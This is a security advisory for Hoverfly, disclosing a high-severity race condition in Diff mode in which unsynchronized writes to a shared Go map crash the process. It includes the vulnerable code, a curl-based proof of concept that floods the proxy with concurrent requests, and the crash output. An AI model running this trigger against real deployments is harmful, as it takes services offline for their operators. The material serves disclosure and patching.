GitHub Advisoryadvisory · Go

GHSA-qrh4-p6v4-mrfg Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode

HIGH Published 2026-07-14 Modified 2026-07-14 Official page ↗
Aliases
CVE-2026-50013
Ecosystem
Go
Packages
github.com/SpectoLabs/hoverfly
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-362, CWE-820
Reviewed
2026-07-14

Affected packages

• Go github.com/SpectoLabs/hoverfly: < 1.12.8 → fixed in 1.12.8

Description

Summary: When Hoverfly is running in Diff mode, the `AddDiff()` function writes to the shared `responsesDiff` map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a `fatal error: concurrent map read and map write`, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests. Details: 1. Unsynchronized map access in `AddDiff()` (`core/hoverfly_service.go:417-421`): ```go func (hf *Hoverfly) AddDiff(requestView v2.SimpleRequestDefinitionView, diffReport v2.DiffReport) { if len(diffReport.DiffEntries) > 0 { diffs := hf.responsesDiff[requestView] // UNSYNCHRONIZED READ hf.responsesDiff[requestView] = append(diffs, diffReport) // UNSYNCHRONIZED WRITE } } ``` 2. This function is called from Diff mode processing, which runs concurrently per request (`core/modes/diff_mode.go`): Each incoming proxy request is handled in its own goroutine by Go's `net/http` server. In Diff mode, each request calls `AddDiff()` after comparing the simulated and actual responses. With multiple concurrent requests, multiple goroutines write to the same map simultaneously. 3. Go's runtime detects concurrent map access and terminates the process: Unlike data races on simple values (which produce undefined behavior silently), Go's map implementation includes a built-in concurrent access check. When two goroutines access the same map and at least one is writing, the runtime calls `fatal()` which is unrecoverable, it cannot be caught by `recover()`. 4. No mutex protection exists on `responsesDiff`: The field is declared as a plain `map[v2.SimpleRequestDefinitionView][]v2.DiffReport` with no associated `sync.RWMutex`. Compare with `hf.state` which properly uses `sync.RWMutex` for its map access. Environment: • Hoverfly version: v1.12.7 • Operating System: macOS Darwin 25.4.0 • Go version: 1.26.2 • Configuration: Hoverfly in Diff mode (`PUT /api/v2/hoverfly/mode {"mode":"diff"}`) POC: Step 1: Start Hoverfly and set Diff mode ```bash ./hoverfly & sleep 2 Set diff mode curl -X PUT http://localhost:8888/api/v2/hoverfly/mode \ -H "Content-Type: application/json" \ -d '{"mode": "diff"}' Load a simulation for diff comparison curl -X PUT http://localhost:8888/api/v2/simulation \ -H "Content-Type: application/json" \ -d '{ "data": { "pairs": [{ "request": {"path": [{"matcher": "glob", "value": "*"}]}, "response": {"status": 200, "body": "expected"} }], "globalActions": {"delays": [], "delaysLogNormal": []} }, "meta": {"schemaVersion": "v5.2"} }' ``` Step 2: Send concurrent requests to trigger the race ```bash Send 50 concurrent requests, race condition triggers within seconds for i in $(seq 1 50); do curl -s -x http://localhost:8500 "http://httpbin.org/get?id=$i" & done wait ``` Step 3: Observe the crash ```bash Check if process is still running pgrep -f hoverfly ``` crash output on Hoverfly v1.12.7: ``` fatal error: concurrent map read and map write goroutine 892 [running]: github.com/SpectoLabs/hoverfly/core.(*Hoverfly).AddDiff(...) /core/hoverfly_service.go:419 github.com/SpectoLabs/hoverfly/core/modes.(*DiffMode).Process(...) ``` The process crashes with ~50 concurrent requests. In production with real traffic, it crashes almost immediately. Impact: • Full denial of service: The process terminates immediately and cannot be recovered without a restart • Trivial exploitation: Any attacker with proxy access can trigger this by sending multiple concurrent requests • No admin API access required: Only proxy port access is needed to trigger the crash • Unrecoverable: `fatal error` in Go cannot be caught by `recover()` — the process is unconditionally killed • Affects all Diff mode users: Any team using Diff mode for API comparison testing is vulnerable

Related

Alias · CVE (1)

  • CVE-2026-50013 Hoverfly is an open source API simulation tool. vulnerability

Weakness · CWE (2)

  • CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization weakness
  • CWE-820 Missing Synchronization weakness

References